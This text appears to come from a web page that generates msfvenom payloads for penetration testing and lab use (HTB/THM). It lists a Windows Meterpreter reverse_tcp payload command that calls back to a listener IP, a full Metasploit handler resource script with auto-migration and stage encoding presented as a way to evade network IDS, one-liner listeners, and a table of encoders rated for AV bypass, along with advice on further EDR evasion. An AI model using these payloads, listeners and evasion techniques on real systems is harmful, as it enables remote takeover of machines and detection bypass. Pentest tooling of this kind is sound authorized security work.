$loading...
Build msfvenom commands for 10 platforms with matching listener commands, one-liner alternatives, and encoder options. Supports Windows, Linux, macOS, Android, PHP, Python, Java, NodeJS, Ruby, and Perl payloads. For authorized testing only.
Staged Meterpreter session over TCP. Smaller initial payload, requires handler.
Use 0.0.0.0 to listen on all interfaces. Use your tun0/VPN IP for HTB/THM.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o payload.exeExtended resource file with session management, auto-migration, and stage encoding. Save as handler.rc and run with msfconsole -r handler.rc.
# Metasploit Multi/Handler Resource Script
# Usage: msfconsole -r handler.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.1
set LPORT 4444
# Session management
set ExitOnSession false
set EnableStageEncoding true
# Auto-run scripts on session connect
set AutoRunScript multi_console_command -c "sysinfo; getuid"
set InitialAutoRunScript migrate -f
# Advanced options
set SessionCommunicationTimeout 0
set AutoVerifySession true
exploit -j -z
# After session: sessions -i 1msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.10.14.1; set LPORT 4444; set ExitOnSession false; exploit -j -z"ExitOnSession false — Keep handler running after first session connects (catch multiple callbacks)exploit -j -z — Run as background job (-j) and don't interact immediately (-z)AutoRunScript migrate — Automatically migrate to a stable process on connectionEnableStageEncoding true — Encode the stage payload during transmission to avoid network IDSLHOST 0.0.0.0 — Listen on all interfaces (vs specific IP for targeted listening)msfvenom -l payloads | grep windowsmsfvenom -l encodersmsfvenom -l formatsmsfvenom -l nopsExploit: Code that takes advantage of a vulnerability to gain access or execute code on a target system.
Payload: Code that runs after the exploit succeeds. It's what you want to do on the target (reverse shell, Meterpreter, command execution).
msfvenom generates payloads. Exploits are separate modules in Metasploit that deliver these payloads.
| Aspect | Staged (/) | Stageless (_) |
|---|---|---|
| Naming | shell/reverse_tcp | shell_reverse_tcp |
| Size | ~5-10 KB (stager only) | ~200-500 KB (full payload) |
| Handler needed | Yes (must stage payload) | Yes (but no staging step) |
| Network | Needs stable connection | Works in restrictive networks |
| Detection | Harder to detect initially | Easier to signature |
| Best for | Exploit buffer overflow, size limits | Standalone delivery, unstable networks |
| Encoder | Arch | Type | AV Bypass |
|---|---|---|---|
| shikata_ga_nai | x86 | Polymorphic XOR | Low (heavily signatured) |
| call4_dword_xor | x86 | XOR DWORD | Low |
| zutto_dekiru | x64 | Polymorphic | Medium |
| xor (x64) | x64 | XOR | Medium |
| powershell_base64 | Any | Base64 | Low (AMSI detects) |
Note: Encoding alone is insufficient for modern AV/EDR bypass. Combine with custom loaders, encryption, or external tools.